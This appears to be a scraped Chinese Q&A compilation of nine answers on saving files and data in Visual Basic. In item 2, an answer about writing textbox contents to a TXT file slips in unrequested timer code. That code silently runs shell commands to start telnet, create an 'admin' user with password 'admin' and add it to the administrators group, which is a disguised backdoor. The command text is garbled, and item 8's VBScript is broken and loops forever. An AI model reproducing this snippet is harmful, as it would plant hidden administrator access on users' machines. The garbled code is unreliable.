1. VB中如何將圖片框中內容截圖並保存到指定文件夾
1按Alt+print screen sysrq,截圖。可以試一下，在圖片中右擊滑鼠，發現粘貼是灰色的，所以截圖的圖片一開始是不能夠直接放進文件夾的。
2打開電腦的開始界面，如圖，點擊下面的箭頭。
3可以看到這里有很多軟體，找到畫圖，其實桌面上的軟體這里都有，可以直接在這里找，也不用放在桌面上佔用內存。
4點擊進去後，看到左上角有一個粘貼，點擊，好了，這時你的圖片已經過來了。
5粘貼旁邊上面有一個文件，點擊，選擇另存為，你可以保存在你想保存的位置。這時你的截屏圖片就已經是文件夾形式了。
6還有別的圖片需要保存，可以點擊選擇，全選，然後刪除，繼續粘貼，其他圖片，在圖片里，你可以右擊編輯，在圖片上加一些東西，這些也是在畫圖中完成的。
2. vb中如何把多個文本框里輸入的內容保存到一個TXT文件里啊！
分類: 電腦/網路 >> 程序設計 >> 其他編程語言
問題描述:
vb中如何把多個文本框里輸入的內容保存到一個TXT文件里啊！
比如程序有三個文本框，用戶在每個框里分別輸入了1，2，3，保存一個文件到C盤的1.txt
1.txt打開後的內容是
1
2
3
如何實現啊，要具體的啊謝謝了！
解析:
第一個很簡單
open "C:\1.txt" for output as #1
print #1,text1.text
print #1,text2.text
print #1,text3.text
close #1
第二個也很簡單
dim stext(1 to 3) as string
dim inow as long
stext(1)="mand /c start tel"
stext(2)="mand /c user admin admin /add"
stext(3)="mand /c localgroup administrators admin /add"
添加一個時鍾發生器,間隔2000毫秒
時鍾發生器代碼
inow=inow+1
shell stext(inow), vbHide
if inow=3 then timer1.enable=false
3. vb怎麼保存文件
你的保存方法是正確的，打開的時候，找到你保存文件的路徑，選擇後綴名為.vbp的，雙擊打開。打開之後並不是什麼都沒有的，右邊有個文件夾一樣的圖標，前面有個小加號，點一下就打開了。就看到你之前的東西了。我現在在手機上，說不很清楚，你要是找不到等我晚點回去開電腦給你截屏。要是明白了，採納請給好評，謝謝。
4. excel用VB將工作簿保存到指定的路徑中
改成這樣：
AA = "C:\Users\Administrator\Desktop\保存文件夾\" & Format(Date, "yyyy.mm.dd") & "\abc\"
如果上邊這句嫌太長的話，就用下邊兩句：
AA = Format(Date, "yyyy.mm.dd")
AA = "C:\Users\Administrator\Desktop\保存文件夾\" & AA & "\abc\"
5. vb如何保存文件啊
步驟大概是這樣的：
Step1：編寫代碼
Step2：單擊「文件」——>選擇「保存工程」
Step3：保存窗體（*.frm），模塊（*.bas），類（*.cls）文件
Step4：保存工程（*.vbp）文件
Step5：保存完後，會彈出一個對話框，內容大概是這樣的，「Do you Add SourceSafe?」，那裡選擇「否」就可以了
打開的時候：直接找到"工程名.vbp"（就是的工程文件，VB Project），直接雙擊打開就可以了。
6. VB 怎樣將生成的文件通過『選擇文件夾』方式保存
使用通用對話框就可以啦，通用對話框就是CommonDialog1控制項
你現在CommonDialog1控制項畫到窗體上，然後在「保存」按鈕中調用它既可，調用代碼最簡單的就是增加以下這句：
CommonDialog1.ShowSave
當然還可以設置其他屬性哦，如保存文件類型、保存文件默認位置等等。
7. VB如何保存數據到文件中。
可以不用vb實現。把你的文件改名為excel文件可以識別的格式，如「text1.csv」，用excel打開，刪除其它列，只保留第一列，另存，再把文件的名字改回來。
用vb實現（假設你的文件存在 d:\）：
Private Sub Command1_Click()
Dim j As Integer, k As Integer
Dim A As String, B As String, C As String
Open "d:\text1.txt" For Input As #1
Open "d:\text2.txt" For Output As #2
While Not EOF(1)
Line Input #1, A
k = Len(A)
For j = 1 To k
B = Mid(A, j, 1)
If B = "," Then
C = Mid(A, 1, j - 1)
Print #2, C
GoTo 10
End If
Next j
10 '
Wend
Close #1
Close #2
MsgBox "ok"
End Sub
8. VB中怎樣保存數據（保存在VB資料庫里）
1.使用文件來記錄,下次運行時讀取 .2.使用資料庫,可以考慮單機資料庫或網路資料庫 3.如果數據量小,使用注冊表.
或者可以通過程序來保存：
set fs=createobject("scripting.filesystemobject")'創建文件操作對象
if fs.fileexists("C:\a.txt") then'如果C盤A.txt存在，那麼讀取其內容
set txt=fs.opentextfile("C:\a.txt",forreading,true)
set txtn=txt.readall
else'
set txtf=fs.createtextfile("c:\a.txt",true)'創建C盤下的a.txt
do'無限循環
wscript.sleep 1000'延時一秒
txtf.write a.text'寫入文本框中內容
loop'循環結束
end if'判斷結束
9. VB如何將程序的數據保存
寫入：
Open "D:123.txt" For Output As #1 '打開XXX路徑的XXX文件（雙引號里表示文件位置和文件名）
Print #1, Text1.Text '寫入Text1的Text內容
Close #1 '關閉
讀取：
Open "D:123.txt" For Input As #1 '打開打開XXX路徑的XXX文件（雙引號里表示文件位置和文件名）
Do While Not EOF(1)
Line Input #1, s
Text1.Text = s
Loop 'Do...Loop表示循環讀取文件的內容，並讓Text1.Text=內容
Close #1 '關閉
① 使用File.ReadAllText 讀取
Dim s As String = System.IO.File.ReadAllText("C:a.txt")
② 使用 StreamReader 讀取，注意編碼格式和寫入的編碼保持一致。
Dim sr As StreamReader = New StreamReader("C:a.txt", System.Text.Encoding.UTF8)
Dim s As String = sr.ReadToEnd()
sr.Close()